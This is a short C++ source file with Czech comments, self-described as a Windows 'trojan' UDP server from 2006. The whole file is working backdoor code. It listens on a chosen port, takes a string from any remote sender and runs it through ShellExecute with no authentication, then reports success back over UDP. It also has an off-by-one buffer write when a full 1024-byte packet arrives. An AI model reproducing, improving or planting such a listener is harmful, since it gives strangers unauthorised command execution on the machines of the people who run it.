/*
  
  trojan - klasicky UDP server - Windows verze 
  2006 (L) cZokL, mr [dot] czokl [at] gmail [dot] com

  ad komenty - u kazde fce, ktera je z knihovny winsock
  a neobjevuje se v programu klient najdete zbezny popis
  a odkaz na dokumentaci

*/

#include <iostream>
#include <windows.h>
#include <string>
#include <shellapi.h>

using namespace std ;

#define BUFSIZE 1024

inline void usage() {

  cout << "Pouziti: server <port> " << endl ;  
  
}


int main(int argc, char *argv[]) {

  /*
  
  prebrani vstupnich parametru
  
  */
  
  if ( argc != 2 ) {
  
    cerr << "chybny pocet argumentu" << endl ;
    usage() ;
    exit(-1) ;
    
  }
   
  
  int port = atoi(argv[1]) ;
  
  if ( port < 1 || port > 65536 ) {
  
    cerr << "port neni v rozsahu 1-65536" << endl ;
    usage() ;
    exit(-1) ;
  
  }  

   /* inicializace winsock */

  WSAData wsadata ;
  
  if( WSAStartup(MAKEWORD(2,2), &wsadata) != 0 ) {

    cerr << "Nepodarilo se inicializovat knihovnu winsock" ;

    exit(-1) ;

  }


  /* naplneni struktury SOCKADRR_IN */

  SOCKADDR_IN service ;

  service.sin_family = AF_INET ;
  service.sin_addr.s_addr = INADDR_ANY ;
  service.sin_port = htons(port) ;

  /*Vytvoreni soket deskcriptoru*/

  SOCKET sock = socket(AF_INET, SOCK_DGRAM, 0)  ;

  if( sock == INVALID_SOCKET) {
  
    cerr << "Nepodarilo se vytvorit socket deskriptor " << endl ;

    WSACleanup() ;

    exit(-1) ;

  }

  /*
  
  bind - otevreni portu a asociovani s nasi aplikaci  
  
  viz. http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winsock/winsock/bind_2.asp
  
  */

  if(bind(sock, (SOCKADDR*) &service, sizeof(service)) == SOCKET_ERROR) {

    cerr << "Chyba pri spousteni bind()" << endl ;

    closesocket(sock) ;
    WSACleanup() ;

    exit(-1) ;

  }

  /* cekani na prijem zpravy */

  int iSize = sizeof(service) ;
  int size ;
  char data[BUFSIZE] ;  
 
 if( (size = recvfrom(sock, data, BUFSIZE, 0, (SOCKADDR*) &service, &iSize)) == SOCKET_ERROR ) {

    cerr << "Chyba pri prijimani dat!" << endl ;

    closesocket(sock) ;
    WSACleanup() ;
    
    exit(-1) ;

  }

  /* 
  spustime prikaz ktery pozaduje klient
  
  realizaci provadime pres shellexecute, tato fce 
  spousti prikazy take v start->spustit
  
  */

  data[size] = '\0' ;
  
  string result ;
  int ret ; 
  ret = (int) ShellExecute(NULL, "open", data ,  0 , NULL, SW_SHOWNORMAL) ;
  if ( ret > 32 ) 
    result = "Spusteni probehlo v poradku\r\n" ;
  else 
    result = "Pri spusteni nastala chyba\r\n" ;



 if (sendto(sock, result.c_str(), result.size(), 0, (SOCKADDR*) &service, sizeof(service)) == SOCKET_ERROR) {

    cout << "Chyba pri odesilani pozadavku" << endl ;

    closesocket(sock) ;
    WSACleanup() ;
   
    exit(-1) ;

 }
    

  //uzavreni socketu a vycisteni struktury WSAdata
  
  closesocket(sock) ;
  WSACleanup() ;

  system("PAUSE") ;
  return 0 ;

}
